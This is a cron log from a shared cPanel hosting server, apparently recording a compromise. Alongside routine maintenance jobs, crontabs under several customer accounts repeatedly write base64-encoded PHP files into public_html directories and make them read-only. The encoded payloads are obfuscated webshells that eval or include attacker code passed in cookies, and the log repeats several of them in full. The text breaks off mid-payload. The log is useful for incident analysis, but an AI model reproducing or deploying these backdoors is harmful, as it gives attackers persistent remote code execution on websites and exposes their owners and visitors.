"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:34:01 medusa CROND[21819]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:34:01 medusa CROND[21827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:34:01 medusa CROND[21828]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:34:01 medusa CROND[21832]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:34:01 medusa CROND[21835]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:35:01 medusa CROND[11074]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:35:01 medusa CROND[11079]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:35:01 medusa CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:35:01 medusa CROND[11207]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:35:01 medusa CROND[11219]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:35:01 medusa CROND[11220]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:35:01 medusa CROND[11221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:35:01 medusa CROND[11222]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:35:01 medusa CROND[11223]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:35:01 medusa CROND[11225]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:35:01 medusa CROND[11230]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:35:01 medusa CROND[11233]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 16:35:01 medusa CROND[11234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:35:01 medusa CROND[11232]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 16:35:01 medusa CROND[11239]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:35:01 medusa CROND[11241]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:35:01 medusa CROND[11242]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:35:01 medusa CROND[11243]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:35:01 medusa CROND[11251]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:35:01 medusa CROND[11252]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:35:01 medusa CROND[11253]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:35:01 medusa CROND[11254]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:35:01 medusa CROND[11228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:35:01 medusa CROND[11236]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 16:35:01 medusa CROND[11264]: (sigemp) CMD (/home7/sigemp/public_html/cgi-bin/rotarlog.sh)
Mar  1 16:35:01 medusa CROND[11237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:36:02 medusa CROND[524]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:36:02 medusa CROND[621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:36:02 medusa CROND[623]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:36:02 medusa CROND[627]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC